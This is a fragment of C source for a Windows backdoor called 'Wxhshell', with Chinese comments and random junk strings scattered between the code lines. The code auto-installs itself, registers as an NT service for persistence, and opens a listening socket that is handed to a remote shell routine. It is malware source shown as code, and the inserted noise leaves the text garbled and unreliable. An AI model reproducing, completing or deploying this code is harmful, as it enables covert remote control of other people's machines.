iY)RE HMODULE hMod; pr) `7VuKp char procName[255]; !G8=S'~~ unsigned long cbNeeded; !pqfx93R* XDt MFig if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1[g -f, @ gv^ CloseHandle(hProcess); WE*L=_zDS /qd5{%: if(strstr(procName,"services")) return 1; // 以服务启动 h|T_
k %tOGs80_{ return 0; // 注册表启动 C;UqLMrOI } WP5QA8`3 0eP ] // 主模块 3hi0 int StartWxhshell(LPSTR lpCmdLine) j+9;Cp]N V { `Nnaw+<] SOCKET wsl; =1vl-*uYh BOOL val=TRUE; WEnI[JGe int port=0; {PTB]D' struct sockaddr_in door; L2,.af6+ Ki,SFww8r if(wscfg.ws_autoins) Install(); 3tjF4C>h| &qjc+-r{l port=atoi(lpCmdLine); ,'nd~{pX"( 3bd(.he2u if(port<=0) port=wscfg.ws_port; jGSY$nt9 i eL7jN,'m WSADATA data; ]VCVV!G_=n if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9Ev<t\B 5Qh$>R4!" if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; VK]cZ%) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5{"v/nXV door.sin_family = AF_INET; XYh)59oM% door.sin_addr.s_addr = inet_addr("127.0.0.1"); x* 9 Xu"? door.sin_port = htons(port); J\@W+/#dF !2o1c if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [qL{w&R closesocket(wsl); ~Oc:b>~ return 1; b4R;#rm } 3 i;sB y v58~w*" if(listen(wsl,2) == INVALID_SOCKET) { mM $|cge" closesocket(wsl); ^ 5D%)@~ return 1; JqmxS*_P } E-`3}"{ Wxhshell(wsl); Ov-Y.+L: WSACleanup(); 7K 'uNPC mp:xR ^5c return 0; E^`-:L(_ kdP*{ } 2bnYYQ14: -\9K'8 C // 以NT服务方式启动 JE*d- VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x##0s5Qn { MtD0e@ DWORD status = 0; PU2^4h/[` DWORD specificError = 0xfffffff; `9*
|Y 8: x>bGxDtu* serviceStatus.dwServiceType = SERVICE_WIN32; c<a)Yqf"] serviceStatus.dwCurrentState = SERVICE_START_PENDING; "OO)m](w serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z_h-5VU- serviceStatus.dwWin32ExitCode = 0; U!\~LKfA serviceStatus.dwServiceSpecificExitCode = 0; 0g`$Dap serviceStatus.dwCheckPoint = 0; UasU/Q < serviceStatus.dwWaitHint = 0; FTQNS8 &e6!/y& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k.ttrKy<q/ if (hServiceStatusHandle==0) return; Q@
Ze+IhK` X5tx(}j status = GetLastError(); srQGqE~ if (status!=NO_ERROR) %xv*#.<Vj { TYKs2+S6 serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Wv}g"KY0 serviceStatus.dwCheckPoint = 0; (2ZkfN serviceStatus.dwWaitHint = 0; [Qqomm.[\w serviceStatus.dwWin32ExitCode = status; 6E-AfY'< serviceStatus.dwServiceSpecificExitCode = specificError; RuGG3"| SetServiceStatus(hServiceStatusHandle, &serviceStatus); fgoLN\ return; ictV7) } `k6ZAOQtX .Im=-#EN serviceStatus.dwCurrentState = SERVICE_RUNNING; "U-dw%b}b serviceStatus.dwCheckPoint = 0; }0IeKpu5 serviceStatus.dwWaitHint = 0; B#G:aBCM if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mt]^d;E } #\8"d k2O3{xIjc // 处理NT服务事件,比如:启动、停止 4l`[,BJ VOID WINAPI NTServiceHandler(DWORD fdwControl) =/!RQQ|8o { !pZ<{|cH switch(fdwControl) FyQr$;r { |->CI case SERVICE_CONTROL_STOP: tE#;$Ss serviceStatus.dwWin32ExitCode = 0; FuM:~jv serviceStatus.dwCurrentState = SERVICE_STOPPED; KL yI*` serviceStatus.dwCheckPoint = 0; Fs3
:NH serviceStatus.dwWaitHint = 0; w>o/)TTJL { E)`:sSd9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); }P'c8$ }
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